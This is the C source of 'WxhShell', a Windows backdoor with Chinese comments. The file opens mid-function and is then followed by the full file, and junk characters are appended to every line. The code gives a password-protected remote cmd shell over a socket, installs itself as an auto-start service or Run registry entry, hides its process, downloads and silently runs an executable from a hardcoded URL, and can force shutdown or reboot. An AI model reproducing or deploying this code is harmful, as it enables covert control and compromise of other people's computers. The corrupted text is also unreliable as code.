    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zBJ7(zh!  
    if(Boot(SHUTDOWN)) ea 00\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zA!0l*H  
    else { w&B#goS  
    closesocket(wsh); ]<q[Do8k  
    ExitThread(0); qg}O/K  
    } ?1 [\!  
    break; nE^Qy=iE  
    } ,ML[Wr'2  
  // 获取shell I~9hx*!%%  
  case 's': { GR"Eas.$  
    CmdShell(wsh); Sf,R^9#|  
    closesocket(wsh); Eyh51IB.  
    ExitThread(0); Q]w&N30  
    break; \0H's{uek  
  } +ke1Cn'[  
  // 退出 *mMEl]+  
  case 'x': { = pzn u+,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pKjoi{ Z  
    CloseIt(wsh); x"CZ]p&m  
    break; o)[2@fRC(  
    } }oKG}wgY  
  // 离开 3t0[^cY8=z  
  case 'q': { en:4H   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  aKd+CO:  
    closesocket(wsh); "luR9l,RRE  
    WSACleanup(); Q lHd,w  
    exit(1); 6"D/xV3Z  
    break; Zb134b'  
        } ^+1#[E  
  } Q26qNn bK  
  } LT,?$I  
F1Hh7 F  
  // 提示信息 N?m0US u*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =07]z@s  
} 4L73]3&  
  } bug Ot7  
gt7VxZ  
  return; bQZ*r{g  
} QZ?=M@|f  
W.1As{  
// shell模块句柄 C^z\([k0er  
int CmdShell(SOCKET sock) 4j!]:ra  
{ a!mf;m  
STARTUPINFO si; A;O~#Chvd  
ZeroMemory(&si,sizeof(si)); iK IOh('G  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 03iv3/{H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z xb_K  
PROCESS_INFORMATION ProcessInfo; fI7j):h;  
char cmdline[]="cmd"; |P.6<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .<K iMh  
  return 0; 3tmdi3s  
} q;:6_Qr  
B: \Uw|Mf  
// 自身启动模式 }=2;  
int StartFromService(void) f(eQ+0D  
{ pMJ1v  
typedef struct .y&QqxiE  
{ \G2B?>E;  
  DWORD ExitStatus; /2m?15c+  
  DWORD PebBaseAddress; Hku!bJ  
  DWORD AffinityMask; wM _ 6{  
  DWORD BasePriority; @Fpb-Qd"  
  ULONG UniqueProcessId; vw)7 !/#  
  ULONG InheritedFromUniqueProcessId; 5c;h &  
}   PROCESS_BASIC_INFORMATION; Zv_jy@k  
C P3<1~  
PROCNTQSIP NtQueryInformationProcess; er.CDKD%L  
:vL1}H<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1H,g=Y4f%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7 ua6l[c  
`:eViVl6e  
  HANDLE             hProcess; ,JEbd1Uf  
  PROCESS_BASIC_INFORMATION pbi; >z`,ch6~  
 A, PlvI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1[*{(e  
  if(NULL == hInst ) return 0; tyDY'W\]  
yt+}K)Hz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ji;mHFZ*FU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "W#t;;9Wz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pfd#N[c  
}N*>QR5K  
  if (!NtQueryInformationProcess) return 0; L@^~N$G&u  
=ORf%f5"'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (.Lrmf@hI7  
  if(!hProcess) return 0; lZQ /W:OE  
$oLU; q%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pU!o7>p  
3[XQR8o  
  CloseHandle(hProcess); h)v^q: ='  
Oc&),ru2l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v[lnw} =m9  
if(hProcess==NULL) return 0; M]-VHI[&W  
K{l5m{:%  
HMODULE hMod; S }>n1F_  
char procName[255]; cMzkL%  
unsigned long cbNeeded; \NqEw@91B  
`E\imL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |7^^*UzSK:  
UHGcnz<  
  CloseHandle(hProcess); Y&2aO1  
ba@=^Fa;  
if(strstr(procName,"services")) return 1; // 以服务启动 7rHS^8'H&  
p$k\m|t  
  return 0; // 注册表启动 G]Jz"xH#  
} >x[`;O4  
wG8Wez%  
// 主模块 "*7C`y5&P  
int StartWxhshell(LPSTR lpCmdLine) 1>r ,vD&  
{ 0 3~Ikll  
  SOCKET wsl; $A$@|]}p  
BOOL val=TRUE; 1IgHc.s  
  int port=0; t?^9HP1b_  
  struct sockaddr_in door; WjMS5^ _  
OSzjK7:  
  if(wscfg.ws_autoins) Install(); 2BzqY`O  
:ZxLJK9x1  
port=atoi(lpCmdLine); 'xFYUU]#T^  
-s$<Op{s  
if(port<=0) port=wscfg.ws_port;  0v^:  
)h^NR3N  
  WSADATA data; !CjqL~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \Z/k;=Sla  
~@8+hnE]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =ex'22  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5A&y]5-Q`  
  door.sin_family = AF_INET; e(1k0W4B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &!35/:~uD  
  door.sin_port = htons(port); Ih1|LR/c  
#\bP7a +  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XtBMp=7Oa  
closesocket(wsl); y7<&vIEC  
return 1; c#b:3dXx9  
} \%,&~4 !  
Y~n` ~(  
  if(listen(wsl,2) == INVALID_SOCKET) { fn9#>~vrD  
closesocket(wsl); $gp!w8h  
return 1; "D* Wi7  
} &B!%fd.'  
  Wxhshell(wsl); F3ZxhkF  
  WSACleanup(); J -Qh/d%]  
S:Tm23pe  
return 0; LNQSb4  
wUi(3g|A  
} sa1mC  
?kt=z4h9(  
// 以NT服务方式启动 jnoL2JR[=-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 30FykNh  
{ ~_!ts{[E  
DWORD   status = 0; &WZP2Q|  
  DWORD   specificError = 0xfffffff; MY-.t-3  
a%hGZCI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @XOi62(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X9~m8c){z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wVi%oSfM  
  serviceStatus.dwWin32ExitCode     = 0; :G'xi2bs  
  serviceStatus.dwServiceSpecificExitCode = 0; DM3B]Yl  
  serviceStatus.dwCheckPoint       = 0; Uq X1E  
  serviceStatus.dwWaitHint       = 0; t ,qul4y}  
ui'F'"tPz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WfGH|u  
  if (hServiceStatusHandle==0) return; Fc0jQ@4=  
)-&nxOP  
status = GetLastError(); LCQkgRs}~{  
  if (status!=NO_ERROR) 'o\;x"YJ  
{ QJ];L7Hbo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; # bX~=`  
    serviceStatus.dwCheckPoint       = 0; _g6m=N4  
    serviceStatus.dwWaitHint       = 0; Sb^ b)q"  
    serviceStatus.dwWin32ExitCode     = status; A|<;  
    serviceStatus.dwServiceSpecificExitCode = specificError; |#TXE|#ux  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $cK^23H/Fj  
    return; 7;HUE!5,^l  
  } PW_`qP:  
$(>f8)Uku(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I^fP k  
  serviceStatus.dwCheckPoint       = 0; -[.PH M6+?  
  serviceStatus.dwWaitHint       = 0; TC-f%1(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GhnE>d;i  
} X*Z5 P  
J5T=!wF (  
// 处理NT服务事件,比如:启动、停止 ]+IVSxa!u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0&`}EXe<f  
{ #t5juX9Ho9  
switch(fdwControl) b*9e1/]  
{ QAvWJydb  
case SERVICE_CONTROL_STOP: Zd>ZY,-5  
  serviceStatus.dwWin32ExitCode = 0; !cCg/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3.)_uo0;o  
  serviceStatus.dwCheckPoint   = 0; WbzA Jx 5  
  serviceStatus.dwWaitHint     = 0; `I> ], J/  
  { U5 rxt^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0]a15  
  } WzG07 2w  
  return; *4#on>  
case SERVICE_CONTROL_PAUSE: [&n|\!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;4d.)-<No_  
  break; *IlQ5+3I  
case SERVICE_CONTROL_CONTINUE: ?1m ,SK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /v&`!nKu  
  break; Am7| /  
case SERVICE_CONTROL_INTERROGATE: hCLk#_  
  break; ~'f8L #[M  
}; 3@X|Gs'_S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %)IrXz>Zh  
} mcMb*?]  
A*Q[k 9B  
// 标准应用程序主函数 -HTL5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zjoo{IH}  
{ ,#%SK;1<  
#5d8?n  
// 获取操作系统版本 5}SXYA}  
OsIsNt=GetOsVer(); ^@ UjQ9[>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <t6 d)mJ%  
m9g^ -X  
  // 从命令行安装 =n }Yqny  
  if(strpbrk(lpCmdLine,"iI")) Install(); f)tc4iV  
~\bHfiIDy  
  // 下载执行文件 Fhi5LhWe+.  
if(wscfg.ws_downexe) { ` Y\QUj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0HPO" x3-O  
  WinExec(wscfg.ws_filenam,SW_HIDE); Qrz*Lvle h  
} X0x_+b? _  
I:/4t^%  
if(!OsIsNt) { y(a}IM3~  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z`"n:'&  
HideProc(); 3dU#Ueu  
StartWxhshell(lpCmdLine); N('3oy#8  
} 0sabh`iQ^  
else RD9Y k  
  if(StartFromService()) u p~@?t2  
  // 以服务方式启动 jhcuK:`L  
  StartServiceCtrlDispatcher(DispatchTable); h~.V[o7=  
else #[(0tc/  
  // 普通方式启动 #J3zTG(:@  
  StartWxhshell(lpCmdLine); Ris-tdg  
eb7UoZw  
return 0; Ds G !S*  
} 8"pA9Mr  
s|p(KWo2U  
a5I%RY  
kpY%&  
=========================================== DUPmq!A  
`~KAk  
wJr/FE 7c  
2?pM5n  
X?_v+'G  
P ]_Vz  
" mlmnkgl ]  
;lkf+,;  
#include <stdio.h> 6%z`)d  
#include <string.h> rOhA*_EG  
#include <windows.h> x6~Fb~aP  
#include <winsock2.h> #m_\1&g  
#include <winsvc.h> t3M0La&  
#include <urlmon.h> `;T? 9n  
td`wNy\  
#pragma comment (lib, "Ws2_32.lib") cG5$lB  
#pragma comment (lib, "urlmon.lib") ur`V{9g  
9cbB[c_.  
#define MAX_USER   100 // 最大客户端连接数 0YHYxn  
#define BUF_SOCK   200 // sock buffer 3 dY6;/s  
#define KEY_BUFF   255 // 输入 buffer RDJ82{  
np&HEh 6  
#define REBOOT     0   // 重启 5Wj5IS/  
#define SHUTDOWN   1   // 关机 }cyq'm i  
r}Q@VS% %  
#define DEF_PORT   5000 // 监听端口 OC`QD5  
Q9nu"x %  
#define REG_LEN     16   // 注册表键长度 6p e4Ni7I2  
#define SVC_LEN     80   // NT服务名长度 8Y]u:v  
w`"W3(  
// 从dll定义API (''$' 5~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MQhYJ01i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bwT"$Ee  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WoJ]@Me8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kv[OW"8t  
Psg +\14  
// wxhshell配置信息 N/`g?B[  
struct WSCFG { o(BYT9|.kw  
  int ws_port;         // 监听端口 1. xw'i  
  char ws_passstr[REG_LEN]; // 口令 ~91uk3ST?  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;9 R40qi  
  char ws_regname[REG_LEN]; // 注册表键名 Rf&^th}TH  
  char ws_svcname[REG_LEN]; // 服务名 >E{#HPpBi  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N n:m+ZDo^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mT}Aje-L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v UJ sFR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sCuQBZ h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `<bCq\+`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \"{/yjO|4  
aj% `x4e A  
}; '[0 3L9  
%Tk}sfx  
// default Wxhshell configuration _dz:\v  
struct WSCFG wscfg={DEF_PORT, ok8JnQC  
    "xuhuanlingzhe", (}~ 1{C@  
    1, P2s^=J0@  
    "Wxhshell", `7+tPbjs  
    "Wxhshell", CAcOWwDm  
            "WxhShell Service", sz){uOI  
    "Wrsky Windows CmdShell Service", q|m#IVc  
    "Please Input Your Password: ", 0R.Gjz*Q  
  1, z2$F Yn Q  
  "http://www.wrsky.com/wxhshell.exe", zkw0jX~  
  "Wxhshell.exe" tVK?VNW  
    }; `1DU b7<  
c|8KT  
// 消息定义模块 P1vF{e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k B$lkl\C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WllCcD1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Zm?G'06  
char *msg_ws_ext="\n\rExit."; JT}dor  
char *msg_ws_end="\n\rQuit."; OqUE4. vIP  
char *msg_ws_boot="\n\rReboot..."; GhaAvyN  
char *msg_ws_poff="\n\rShutdown..."; j>0SE  
char *msg_ws_down="\n\rSave to "; DRS;lJ2  
>V77X+!  
char *msg_ws_err="\n\rErr!"; ~6pCOS}  
char *msg_ws_ok="\n\rOK!"; &ij^FAM  
h=mI{w*  
char ExeFile[MAX_PATH]; J:k@U42  
int nUser = 0; aa'0EU:  
HANDLE handles[MAX_USER]; :X]lXock0  
int OsIsNt; 9.]Cy8  
!^Qb[ev  
SERVICE_STATUS       serviceStatus; |O #wdnYW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !)=#p9  
,DW0A//  
// 函数声明 70I4-[/z[d  
int Install(void); A_8`YN"Xk  
int Uninstall(void); `RL(N4H  
int DownloadFile(char *sURL, SOCKET wsh); $/-wgyP3m+  
int Boot(int flag); gDjd{+LUo  
void HideProc(void); @vDgpb@TM  
int GetOsVer(void); 1-ndJ@Wlz  
int Wxhshell(SOCKET wsl); c9/ 'i  
void TalkWithClient(void *cs); =[43y%   
int CmdShell(SOCKET sock); ahz@HX  
int StartFromService(void); "fX8xZdS  
int StartWxhshell(LPSTR lpCmdLine); g@N=N  
Z\o AE<$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J/H#d')c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); co(fGp#!  
r[i~4N=  
// 数据结构和表定义 V9);kD  
SERVICE_TABLE_ENTRY DispatchTable[] = "J0Oa?  
{ l)2HHu<  
{wscfg.ws_svcname, NTServiceMain}, kKI!B`j=  
{NULL, NULL} 6='_+{   
}; z;Gbqr?{{  
7m@^=w  
// 自我安装 Z"PDOwj5  
int Install(void) |M0,%~Kt  
{ h)aWerzL  
  char svExeFile[MAX_PATH]; OQX{<pQ6  
  HKEY key; 9# .NPfMF  
  strcpy(svExeFile,ExeFile); eo}S01bt  
^me}k{x  
// 如果是win9x系统,修改注册表设为自启动 OM#OPB rB  
if(!OsIsNt) { S|Ij q3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NUO,"Bqq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FcbA)7dD  
  RegCloseKey(key); Cvu8X&y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U3dR[*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^FyvaO  
  RegCloseKey(key); R*c0NJF  
  return 0; [b\lcQ8O  
    } hr 6LB&d_  
  } bx%hizb  
} `U?H^,FVA  
else { LQ&d|giA  
JJZXSBAOU  
// 如果是NT以上系统,安装为系统服务 9  lazo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V.G9J!?<P  
if (schSCManager!=0) MX< ($M  
{ 5IB:4zx^h  
  SC_HANDLE schService = CreateService , T%pGku  
  ( `Mh<S+/  
  schSCManager, Wcay'#K,  
  wscfg.ws_svcname, $dWl A<u  
  wscfg.ws_svcdisp, l$bmO{8uG  
  SERVICE_ALL_ACCESS, NiQc2\4%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e&]`X HC9  
  SERVICE_AUTO_START, W:N"O\`{m  
  SERVICE_ERROR_NORMAL, zI*/u)48  
  svExeFile, K]=>F  
  NULL, wW)&Px n  
  NULL, `peJ s~V  
  NULL, @8 yE(  
  NULL, r~B Qy'  
  NULL a[{QlD^D  
  ); 7>e~i,  
  if (schService!=0) }'M1(W  
  { Vp0GmZ  
  CloseServiceHandle(schService); S.)8&  
  CloseServiceHandle(schSCManager); j~0ZE -e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c75vAKZ2  
  strcat(svExeFile,wscfg.ws_svcname); 3YNkT"~T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y.hH fSp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U"R.!=v  
  RegCloseKey(key); /;(%Xd&:  
  return 0; p2_Zsq  
    } 4~D>oNx4  
  } ?jM7C}  
  CloseServiceHandle(schSCManager); t>=y7n&q  
} 1V9X(uP  
} 2b&;Y/z  
(NWN&  
return 1; e4_aKuA  
} W3-Rs&se  
&oEq&  
// 自我卸载 Pc-8L]2oaF  
int Uninstall(void) qt&"cw  
{ JSZ j0_ B  
  HKEY key; D8Waf  
6+d"3-R.  
if(!OsIsNt) { d/99!+r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;[\2/$-  
  RegDeleteValue(key,wscfg.ws_regname); Gw\HL  
  RegCloseKey(key); nQYS{`hk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v'~nABYH  
  RegDeleteValue(key,wscfg.ws_regname); !Z2n;.w  
  RegCloseKey(key); V6!73 iY  
  return 0; "aO,  
  } KUqS(u  
} <{).x 6  
} Z*Hxrw\!0  
else { /gy:#-2Gy  
_!g NF=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >wm$,%zk  
if (schSCManager!=0) u~T$F/]k>  
{ H;!hp0y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u2\qg;dP  
  if (schService!=0) Fea\ eB  
  { Jn[ K0GV  
  if(DeleteService(schService)!=0) { c\rbLr}l)  
  CloseServiceHandle(schService); 5pyvs;As  
  CloseServiceHandle(schSCManager); <T% hfW  
  return 0; <`p'6n79  
  } 7[<sl35  
  CloseServiceHandle(schService); &,kB7r"  
  } I;4CvoT  
  CloseServiceHandle(schSCManager); }AfPBfgC1z  
} $aI MQ[(  
} \gQ+@O&+  
_89G2)U=C  
return 1; fQA)r  
} umrI4.1c  
2o5< nGn  
// 从指定url下载文件 ?4?jG3p  
int DownloadFile(char *sURL, SOCKET wsh) Mz. &d:  
{ bQQ/7KM  
  HRESULT hr; >!p K94  
char seps[]= "/"; &!~n=]*sz  
char *token; `.-k%2?/  
char *file; m@2xC,@  
char myURL[MAX_PATH]; Bw7:ry  
char myFILE[MAX_PATH]; %((3'le  
cMk%]qfVo8  
strcpy(myURL,sURL); F"P:9`/  
  token=strtok(myURL,seps); '\YhRU  
  while(token!=NULL) $i] M6<Vxn  
  { G[-jZ  
    file=token; f?^xh  
  token=strtok(NULL,seps); VCtiZ4  
  } tf79Gb>  
fw};.M  
GetCurrentDirectory(MAX_PATH,myFILE); *B}R4Y|g  
strcat(myFILE, "\\"); SF=|++b1f  
strcat(myFILE, file); Y6DiISl  
  send(wsh,myFILE,strlen(myFILE),0); E1v<-UPbA  
send(wsh,"...",3,0); =w?cp}HW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g]Ny?61  
  if(hr==S_OK) 3VB V_/i;  
return 0; H#` ?toS  
else O5*uL{pvT{  
return 1; =YsTF T  
HON[{Oq  
} iDxgAV f*  
.7rsbZzs  
// 系统电源模块 GV[BpH  
int Boot(int flag) s'=]a-l~  
{ HUI!IOh  
  HANDLE hToken; ZKTBjOa]*  
  TOKEN_PRIVILEGES tkp; $iJ #%&D  
,$[lOFs  
  if(OsIsNt) { >2a#|_-T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !K)|e4$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); sb5kexGxkc  
    tkp.PrivilegeCount = 1; g<c^\WG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2 g==98>cg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3yX^R^`  
if(flag==REBOOT) { <Y6>L};  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \Rt  
  return 0; 41D[[Gh  
} tqf-,BLh  
else { NVPYv#uK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y>1 8)8  
  return 0; ;BvWU\!  
} =S +:qk  
  } .}>[ Kr  
  else { >Cc$ P  
if(flag==REBOOT) { z<=t3dj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #Og_q$})f  
  return 0; HWZ*Htr  
} {IwYoRaXa  
else { m&8_i`%<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rvO+=Tk  
  return 0; $MGd>3%y  
} +y#979A,  
} Z28@yD +  
UG$i5PV%i  
return 1; xGPv3TLH^  
} 7w({ GZ  
(<-0UR]%q;  
// win9x进程隐藏模块 { ,srj['RS  
void HideProc(void) _RVXE  
{ h UDEjW@S  
014!~c  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [%q":Ig  
  if ( hKernel != NULL ) (U<wKk"  
  { z05pVe/5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dGN*K}5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "0mR*{nF  
    FreeLibrary(hKernel); c+VUk*c3  
  } qQryv_QP  
Jy$-)  
return; 5=e@yIr'#  
} c6.|; 4  
<C(2(3  
// 获取操作系统版本 ,)8Hl[y  
int GetOsVer(void) >MLqOUr#  
{ =!aV?kNS8  
  OSVERSIONINFO winfo; 8a1{x(\z.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1's^W  
  GetVersionEx(&winfo); i^Q^F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KDk^)zv%!  
  return 1; 9m>_q Wa A  
  else C ^'}{K  
  return 0; 3]A'C&  
} KxI(# }5o&  
SY.V_O$l }  
// 客户端句柄模块 5O*$#C;c  
int Wxhshell(SOCKET wsl) ZN/")  
{ g}7%3D  
  SOCKET wsh; QG ia(  
  struct sockaddr_in client; )^AO?MW  
  DWORD myID; \WEC1+@  
Z_/03K$q  
  while(nUser<MAX_USER) ]RJ2`xf  
{ QBg'VV  
  int nSize=sizeof(client); :a2?K5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0'",4=c#V  
  if(wsh==INVALID_SOCKET) return 1; 57rP@,vj  
*{Vyt5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A,@"(3  
if(handles[nUser]==0) HH+XEMP/g  
  closesocket(wsh); {Gy_QRsp,  
else 1l{n`gR  
  nUser++; z841g `:C  
  } DzMkeX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Zf! 7pM  
H>?@nYP  
  return 0; .7q#{`K^=  
} L;;x%>  
&0myA_So  
// 关闭 socket [aW#7  
void CloseIt(SOCKET wsh) -!" 8j"pA:  
{ <KCgtO  
closesocket(wsh); e5Z\v0  
nUser--; 8vCHH&`  
ExitThread(0); :.^{!  
} -\vq-n  
<@P0sd   
// 客户端请求句柄 0td;Ag  
void TalkWithClient(void *cs) uM$=v]e^ 4  
{ _eS*e-@O5  
hsh W5j  
  SOCKET wsh=(SOCKET)cs; n=~?BxB  
  char pwd[SVC_LEN]; l"64w>,  
  char cmd[KEY_BUFF]; #i? TCO  
char chr[1]; GZo^0U,;  
int i,j; G(L*8U< UG  
Al?XJ C B@  
  while (nUser < MAX_USER) { ZWv$K0agu  
1=>$c   
if(wscfg.ws_passstr) { UA^E^$f:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7G(X:!   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +!rK4[W'  
  //ZeroMemory(pwd,KEY_BUFF); Nz8iU@!a  
      i=0; ^gy(~u  
  while(i<SVC_LEN) { 8EQ;+V  
|2 Dlw]d  
  // 设置超时 mdwY48b  
  fd_set FdRead; '5IJ;4k  
  struct timeval TimeOut; X~0P+E#  
  FD_ZERO(&FdRead); {u7E)Fdl  
  FD_SET(wsh,&FdRead); p[RD[&#b  
  TimeOut.tv_sec=8; |( KM 8  
  TimeOut.tv_usec=0; B}p/ ,4x6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V&G_Bu~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y\lBPp0{\v  
H 74hv`G9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HO' HkVA  
  pwd=chr[0]; 3WhJ,~o-y  
  if(chr[0]==0xd || chr[0]==0xa) { DwI)?a_+  
  pwd=0; 6*%lnd+_  
  break; D:f#  
  } HHdc[pJ0D  
  i++; _=rXaTp  
    } d 1z   
Ofn:<d  
  // 如果是非法用户,关闭 socket L^22,B 0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q x:+n`$/  
} SngV<J>zR  
yy9Bd>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); SL(Q;_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |KA8qQI]%  
.! &YO/  
while(1) { D/U o?,>8  
sM4N`$Is23  
  ZeroMemory(cmd,KEY_BUFF); m<j ^cU#J  
\.{?TB  
      // 自动支持客户端 telnet标准   <1ai0]  
  j=0; HtMlSgx,8>  
  while(j<KEY_BUFF) { oY{*X6:6<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o)NWsUXf  
  cmd[j]=chr[0]; {KR/ TQ?A  
  if(chr[0]==0xa || chr[0]==0xd) { Z-WWp#b  
  cmd[j]=0; q,2 @X~T  
  break; P9c1NX\-  
  } ?[kO= hs  
  j++; ar{Yq  
    } ~j UK-E  
?p`}6s Q}  
  // 下载文件 E-r/$&D5mP  
  if(strstr(cmd,"http://")) { |^FDsJUN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Dq\#:NnKvx  
  if(DownloadFile(cmd,wsh)) WvR}c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "~GudK &  
  else pt=[XhxC(>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H`fkds  
  } NvYgRf}uh  
  else { 7FWf,IjcGY  
}(gXlF  
    switch(cmd[0]) { UF}fmDi  
  WS;3a}u  
